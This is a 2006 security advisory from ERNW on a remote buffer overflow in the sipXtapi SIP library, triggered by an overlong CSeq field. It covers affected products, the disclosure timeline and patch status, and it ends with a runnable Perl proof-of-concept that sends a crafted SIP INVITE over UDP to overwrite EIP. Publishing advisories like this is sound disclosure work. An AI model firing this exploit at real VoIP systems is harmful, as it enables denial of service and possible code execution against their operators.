ERNW Security Advisory 02-2006

Buffer Overflow in SIP Foundry's SipXtapi

Author:
Michael Thumann <mthumann[at]ernw.de>
Homepage: www.ernw.de

1. Summary:
The sipXtapi library from sip foundry contains a buffer overflow when parsing the CSeq field.
This flaw can be used by  an attacker to gain control over EIP and execute arbitrary code.

2. Severity : Critical

3. Products affected
- sipXtapi: all version compiled before 24 of march 2006
- PingTel products
- AOL Triton

4. Patch Availability :
A patch is available within the source tree and the affected products of PingTel and AOL
have beed updated.

5. Details
Sending a CSeq field value greater than 24 bytes triggers the buffer ovlerflow condition.

6. Solution
Update the affected products to the actual version.

7. Time-Line 
20 Mar 2006: Vulnerability reported to vendor
20 Mar 2006: Answer from vendor
24 Mar 2006: Patch available
10 July 2006: Public Disclosure

8. Exploit
#!/usr/bin/perl
# PoC Exploit By mthumann@ernw.de
# Remote Buffer Overflow in sipXtapi

use IO::Socket;
#use strict;


print "sipXtapi Exploit by Michael Thumann \n\n";

if (not $ARGV[0]) {
        print "Usage: sipx.pl <host>\n"; 
exit;}

$target=$ARGV[0];
my $source ="127.0.0.1";
my $target_port = 5060;
my $user ="bad";
my $eip="\x41\x41\x41\x41";
my $cseq = 
"\x31\x31\x35\x37\x39\x32\x30\x38".
"\x39\x32\x33\x37\x33\x31\x36\x31".
"\x39\x35\x34\x32\x33\x35\x37\x30".
$eip;
my $packet =<<END;
INVITE sip:user\@$source SIP/2.0\r
To: <sip:$target:$target_port>\r
Via: SIP/2.0/UDP $target:3277\r
From: "moz"<sip:$target:3277>\r
Call-ID: 3121$target\r
CSeq: $cseq\r
Max-Forwards: 70\r
Contact: <sip:$source:5059>\r
\r
END

print "Sending Packet to: " . $target . "\n\n";
socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));
my $ipaddr = inet_aton($target);
my $sendto = sockaddr_in($target_port,$ipaddr);
send(PING, $packet, 0, $sendto) == length($packet) or die "cannot send to $target : $target_port : $!\n";
print "Done.\n";

9. Thanks
We would like to thank the guys from sip foundry for working together on this issue in a professional and
responsible way.

10. Disclaimer
 The informations in this advisory are provided "AS IS" without warranty 
of any kind. In no event shall the authors be liable for any damages 
whatsoever including direct, indirect, incidental, consequential, 
loss of business profits or special damages due to the misuse of any 
information provided in this advisory.